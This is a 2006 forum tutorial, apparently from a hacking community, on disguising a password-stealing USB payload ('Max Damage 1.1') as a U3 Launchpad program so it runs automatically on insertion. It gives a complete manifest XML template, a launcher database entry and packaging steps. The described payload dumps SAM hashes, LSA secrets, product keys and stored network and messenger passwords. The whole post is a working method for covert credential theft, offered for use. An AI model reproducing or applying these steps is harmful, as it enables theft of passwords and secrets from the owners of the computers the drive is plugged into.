Guest TehHacks Posted December 30, 2006 Share Posted December 30, 2006 ******INTRODUCTION****** Alright, i dont know if this has already been done, i looked around the forums a bit but couldnt find anyone using the sam technique. ok, basicly, this method works by makeing the U3 lanuchpad think that the payload you are using is a U3 application and setting the U3 launchpad to auto run it when the drive is incerted. the advantages to this method are: 1)You get to keep you pretty U3 launch pad. 2)You get to choose wether or not your payload AUTO runs or not. 3)You can put more than one payload on your USB drive. If you are doing this with the maxdamage payload 1.1, just follow my examples exactly. ******INSTRUCTIONS****** For this tutorial i will be using the Max Damage 1.1 Payload, all though you can use what ever Payload that you want. 1. Install the latest U3 launchpad, you can find it here: http://www.sandisk.com/Retail/Default.aspx?CatID=1411 2. Download your payload, i am using the Max Damage payload 1.1, you can find it here: http://www.hak5.org/releases/2x02/switchbl...1.1-payload.rar 3. Place the payload on your USB drive as you usualy would: eg. PayLoad: x:wipcmd*payload files* and Logfiles: x:Documentslogfiles*logfiles* 4. Open up the Hidden System folder in the root of the drive and navigate into the Apps folder. Create a folder of any name, the payload name makes things easier. This is going to become the uuid, so remember what you named it for later. (ex: i created x:SystemAppsMaxDamage) 5. Inside the newly created folder, make a new folder named Manifest. Inside create a new notepad document. Rename the document to Manifest.u3i. Manifest.u3i is really a disguised XML file that the U3 Launcher uses to describe your program with. Having one is Vital to the Launcher. (ex: i created x:SystemAppsMaxDamageManifestManifest.u3i) 5. Make or find an icon. I used the U3 icon, but you can use what ever icon you want. try just taking the favicon from a website. Put the .ico in the Manifest folder right next to the Manifest.u3i 6. Edit Manifest.u3i in notepad (or TextPad, etc) and input this as a template (this is what it would look like if you are using the maxdamage payload 1.1): <?xml version="1.0" encoding="UTF-8"?> <u3manifest version="1.0"> <application uuid="Maxdamage" version="1"> <icon>U3.ico</icon> <name>Maxdamage Payload 1.1</name> <vendor url="http://hak5.org/forums/viewtopic.php?t=2361">Hak.5 Forum</vendor> <description>This payload gathers IP information, dumps SAM, product keys, LSA secrets, network passwords, messenger passwords, and URL history. </description> <options> <minFreeSpace>1</minFreeSpace> <upgrade appData="overwrite" deviceExec="overwrite"/> </options> </application> <actions> <appStart workingdir="%U3_DEVICE_PATH%WIPCMD" cmd="%U3_DEVICE_PATH%WIPCMDgo.cmd">start</appStart> <appStop workingdir="%U3_DEVICE_PATH%WIPCMD" cmd="%U3_DEVICE_PATH%WIPCMDgo.cmd">stop</appStop> </actions> </u3manifest> Make application uuid the same name as the file folder in your Apps directory (ex: MaxDamage). This is the ID of the application, you will need to use it again elsewhere. version is just the version of the application, its arbitrary, set it correctly if you want your launcher to display the correct version of your payload. icon is the name of the icon that you want to display on your program list, the one that you place in you manifest folder name = display name. vendor url and description = the url of the program's website and the description displayed in "Manage U3 Programs." minFreeSpace = number of MB that the program requires on the drive, rounded up to the nearest MB. appStart and appStop, there are a few more optional actions like clean up, but these two are the required two to run your program. workingdir = the directory that your program runs from/in. Set this as the file folder that your executable is located in, make sure you use %U3_DEVICE_PATH% rather than the drive letter (ex:%U3_DEVICE_PATH%WIPCMD ). cmd = the File that you want to run when you click the button. Save. (ex: %U3_DEVICE_PATH%WIPCMDgo.cmd) 7. Zip the Manifest folder and name as the same name of your uuid from before. The items inside the zip file MUST be placed in the correct location. Follow my example: Inside my Maxdamage.zip is a Folder with the name Manifest Inside the Manifest folder is a Manifest.u3i and a U3.ico MaxDamage.zip => ManifestManifest.u3i and ManifestU3.ico Now rename the uuid.zip folder to uuid.u3p (ex: MaxDamage.zip -> MaxDamage.u3p) and leave it in the uuid folder (ex: now i have a x:SystemAppsMaxdamageMaxdamage.u3p) 8. Go back to the Apps folder (ex: x:SystemApps) and find and edit the LPDB.xml file. add in <APPLICATION guid="Maxdamage" launchOnStart="N" lastUsed="30/12/2006 13:24:25">Maxdamage.u3p</APPLICATION> right next to the ones similar to it. change the guid to your uuid and the location accordingly. If yours is empty, just add this in between the two open and close tags. 9. Eject your USB Drive and plug it back in. When the U3 Launcher loads when you plug it back and and you did everything correct, you have a new item on your program list. If you left a typo in the code or something went wrong, it will tell you that the u3p failed to load and if you want to delete the program associated to it. 10. Now your playload should show up in U3 launch pad "U3 smart programs" menu with the .ico you picked next to it.. to enable it to auto run, right click on select "properties" and check the "start on insertion" tab. ******Notes and Credits****** If adding screen shots to this guide would help please let me know, and i'll try adn get them done. alot of credit goes to thus guide: http://www.elitenews.org/2006/05/installin...mart-drive.html I used it as a template for this guide, and gain most of my knowleadge on this subject from it. Quote Link to comment Share on other sites More sharing options...
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.